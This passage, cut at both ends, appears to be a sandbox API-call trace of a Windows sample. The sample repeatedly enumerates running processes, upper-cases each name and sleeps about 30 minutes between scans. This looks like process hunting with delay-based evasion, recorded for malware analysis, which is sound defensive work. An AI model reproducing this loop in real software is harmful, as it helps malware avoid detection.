lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0161.118] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0161.118] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0161.118] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0161.118] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0161.118] lstrlenW (lpString="nice cu.exe") returned 11 [0161.118] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0161.118] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0161.118] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0161.118] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0161.119] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0161.119] lstrlenW (lpString="video_reviewing.exe") returned 19 [0161.119] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0161.119] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0161.119] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0161.119] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0161.120] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0161.120] lstrlenW (lpString="shame.exe") returned 9 [0161.120] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0161.120] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0161.120] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0161.120] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0161.120] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0161.120] lstrlenW (lpString="fantasy.exe") returned 11 [0161.120] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0161.120] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0161.120] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0161.120] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0161.121] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0161.121] lstrlenW (lpString="accepting.exe") returned 13 [0161.121] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0161.121] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0161.121] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0161.121] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0161.122] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0161.122] lstrlenW (lpString="authorized.exe") returned 14 [0161.122] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0161.122] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0161.122] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0161.122] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0161.122] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0161.122] lstrlenW (lpString="isp.exe") returned 7 [0161.122] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0161.122] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0161.122] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0161.122] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0161.123] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0161.123] lstrlenW (lpString="cowboy.exe") returned 10 [0161.123] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0161.123] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0161.123] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0161.123] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0161.124] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0161.124] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0161.124] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0161.124] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0161.124] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0161.124] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0161.124] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0161.124] lstrlenW (lpString="thats.exe") returned 9 [0161.124] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0161.124] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0161.124] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0161.125] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0161.125] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0161.125] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0161.125] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0161.125] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0161.125] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0161.125] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0161.126] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0161.126] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0161.126] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0161.126] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0161.126] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0161.126] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0161.127] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0161.127] lstrlenW (lpString="actual.exe") returned 10 [0161.127] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0161.127] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0161.127] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0161.127] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0161.127] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0161.127] lstrlenW (lpString="potter larry.exe") returned 16 [0161.127] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0161.127] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0161.127] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0161.127] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0161.128] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0161.128] lstrlenW (lpString="contents what certificate.exe") returned 29 [0161.128] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0161.128] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0161.128] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0161.128] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0161.129] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0161.129] lstrlenW (lpString="cindy.exe") returned 9 [0161.129] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0161.129] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0161.129] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0161.129] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0161.129] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0161.129] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0161.129] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0161.129] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0161.129] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0161.129] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0161.130] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0161.130] lstrlenW (lpString="unusual.exe") returned 11 [0161.130] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0161.130] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0161.130] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0161.130] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0161.131] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0161.131] lstrlenW (lpString="pacific.exe") returned 11 [0161.131] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0161.131] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0161.131] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0161.131] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0161.131] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0161.131] lstrlenW (lpString="phantom.exe") returned 11 [0161.131] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0161.131] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0161.131] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0161.131] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0161.132] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0161.132] lstrlenW (lpString="audiodg.exe") returned 11 [0161.132] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0161.132] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0161.132] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0161.132] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0161.133] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0161.133] lstrlenW (lpString="SCN0tification.exe") returned 18 [0161.133] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0161.133] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0161.133] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0161.133] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.133] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0161.133] lstrlenW (lpString="svchost.exe") returned 11 [0161.134] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0161.134] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.134] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0161.134] Process32NextW (in: hSnapshot=0x384, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0161.134] CloseHandle (hObject=0x384) returned 1 [0161.134] Sleep (dwMilliseconds=0x1b7740) [0171.144] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x350 [0171.147] Process32FirstW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.148] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0171.148] lstrlenW (lpString="[System Process]") returned 16 [0171.148] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0171.148] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0171.148] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0171.148] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0171.148] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0171.149] lstrlenW (lpString="System") returned 6 [0171.149] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0171.149] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0171.149] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0171.149] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0171.149] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0171.149] lstrlenW (lpString="smss.exe") returned 8 [0171.149] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0171.149] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0171.150] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0171.150] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0171.150] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0171.150] lstrlenW (lpString="csrss.exe") returned 9 [0171.150] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0171.150] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0171.150] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0171.150] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0171.151] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0171.151] lstrlenW (lpString="wininit.exe") returned 11 [0171.151] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0171.151] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0171.151] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0171.151] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0171.152] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0171.152] lstrlenW (lpString="csrss.exe") returned 9 [0171.152] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0171.152] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0171.152] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0171.152] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0171.153] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0171.153] lstrlenW (lpString="winlogon.exe") returned 12 [0171.153] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0171.153] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0171.153] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0171.153] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, 